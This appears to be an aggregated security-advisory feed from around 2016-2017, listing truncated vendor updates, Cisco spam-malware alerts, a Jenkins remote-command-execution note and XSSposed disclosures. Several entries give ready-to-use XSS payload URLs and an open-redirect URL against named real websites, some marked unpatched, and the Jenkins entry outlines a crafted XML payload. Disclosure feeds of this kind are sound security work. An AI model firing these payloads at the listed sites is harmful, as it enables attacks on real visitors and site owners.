[SECURITY] Fedora 24 Update: java-1.8.0-openjdk-1.8.0.77-1.b03.fc24

The OpenJDK runtime environment...

[SECURITY] Fedora 24 Update: java-1.8.0-openjdk-1.8.0.77-1.b03.fc24

The OpenJDK runtime environment...

openSUSE Security Update : MozillaThunderbird (openSUSE-2016-395)

MozillaThunderbird was updated to 38.7.0 to fix the following issues : - Update to Thunderbird 38.7.0 boo969894 - MFSA 2015-81/CVE-2015-4477 bmo1179484 Use-after-free in MediaStream playback - MFSA 2015-136/CVE-2015-7207 bmo1185256 Same-origin policy violation using performance.getEntries and...

krd.kassy.ru Open Redirect vulnerability

Vulnerable URL: http://krd.kassy.ru/en/?back=https://www.xssposed.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP...

Threat Outbreak Alert RuleID21892: Email Messages Distributing Malicious Software on March 24, 2016

Medium Alert ID: 44272 First Published: 2016 March 23 17:05 GMT Last Updated: 2016 March 24 19:26 GMT Version: 2 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID21892 and...

Threat Outbreak Alert RuleID21862: Email Messages Distributing Malicious Software on March 24, 2016

Medium Alert ID: 44251 First Published: 2016 March 23 16:28 GMT Last Updated: 2016 March 24 19:26 GMT Version: 2 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID21862 and...

SUSE SLED11 / SLES11 Security Update : MozillaFirefox, mozilla-nspr, mozilla-nss (SUSE-SU-2016:0777-1)

This update for MozillaFirefox, mozilla-nspr, mozilla-nss fixes the following issues : Mozilla Firefox was updated to 38.7.0 ESR bsc969894 - MFSA 2016-16/CVE-2016-1952/CVE-2016-1953 Miscellaneous memory safety hazards rv:45.0 / rv:38.7 - MFSA 2016-17/CVE-2016-1954 Local file overwriting and...

momastore.org XSS vulnerability

Vulnerable URL: https://www.momastore.org/museum/moma/ProductDisplayYoshimoto-Cube-No.-1104511000145657-1267152671545658?momaProductId=45657=67866-item=10001=10451=-1x';%20confirmXSSPOSED//=ProductDisplayYoshimoto%20Cube%20No.%201104511000145657-12671526715=26715=MoMAProductCommonCntrCmd Details:...

Code injection

EMC Documentum xCP 2.1 before patch 24 and 2.2 before patch 12 allows remote authenticated users to obtain sensitive user-account metadata via a members/xcpmember API call...

Jenkins 低权限用户 API 服务调用 可致远程命令执行

漏洞演示 将 Jenkins 跑起来后，在低权限用户下构造 XML 文档： hashCode open /Applications/Calculator.app false 0 0 0 start 1 发送 Payload 至接口 http://...:8080/jenkins/createItem?name=knownsec： 成功后服务端会运行 计算器 程序。 漏洞影响 影响版本： 1.650 （1.650版本已修复该问题） 从zoomeye.org上搜索设备指纹“Jenkins” 从搜索的结果来看，约存在20000个潜在受到影响的目标。 相关链接...

Threat Outbreak Alert RuleID21339: Email Messages Distributing Malicious Software on February 24, 2016

Medium Alert ID: 43754 First Published: 2016 February 25 16:58 GMT Last Updated: 2016 February 26 13:55 GMT Version: 2 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID2133...

qmp3.mobi XSS vulnerability

Vulnerable URL: http://qmp3.mobi/artist/%22%3E%3Csvg%20onload=alert%28'XSSPOSED'%29%3E.aspx Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 17:35 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 525426 Google...

Threat Outbreak Alert RuleID21327: Email Messages Distributing Malicious Software on February 24, 2016

Medium Alert ID: 43737 First Published: 2016 February 24 20:22 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID21327 may contain the following files: Name |...

CVE-2016-1839

creationtimestamp| type| source ---|---|--- 2016-02-24 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/39491...

mp3pesni.site XSS vulnerability

Vulnerable URL: http://mp3pesni.site/search/aaa%22%3E%3Csvg%20onload=alert%60XSSPOSED%60%3E%3C/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 248868 Google Pagerank| 0 VIP website...

Threat Outbreak Alert RuleID4961KVR: Email Messages Distributing Malicious Software on September 24, 2016

Medium Alert ID: 43657 First Published: 2016 February 22 21:55 GMT Last Updated: 2016 October 3 12:49 GMT Version: 46 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID4961...

hotelsdowntownraleighnc.com XSS vulnerability

Vulnerable URL: http://hotelsdowntownraleighnc.com/hotel.php?id=/hotel.php?id=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated Google Pagerank| 0 VIP websi...

mapeasy.com XSS vulnerability

Vulnerable URL: http://www.mapeasy.com/search.cfm?searchtext=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4187521 Google Pagerank| 4...

desk-warehouse.co.uk XSS vulnerability

Vulnerable URL: http://www.desk-warehouse.co.uk/shop/index.asp?searchtext=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2178714 Googl...

yourhome.com XSS vulnerability

Vulnerable URL: http://www.yourhome.com/searchresults.php?searchtext=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 15:55 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...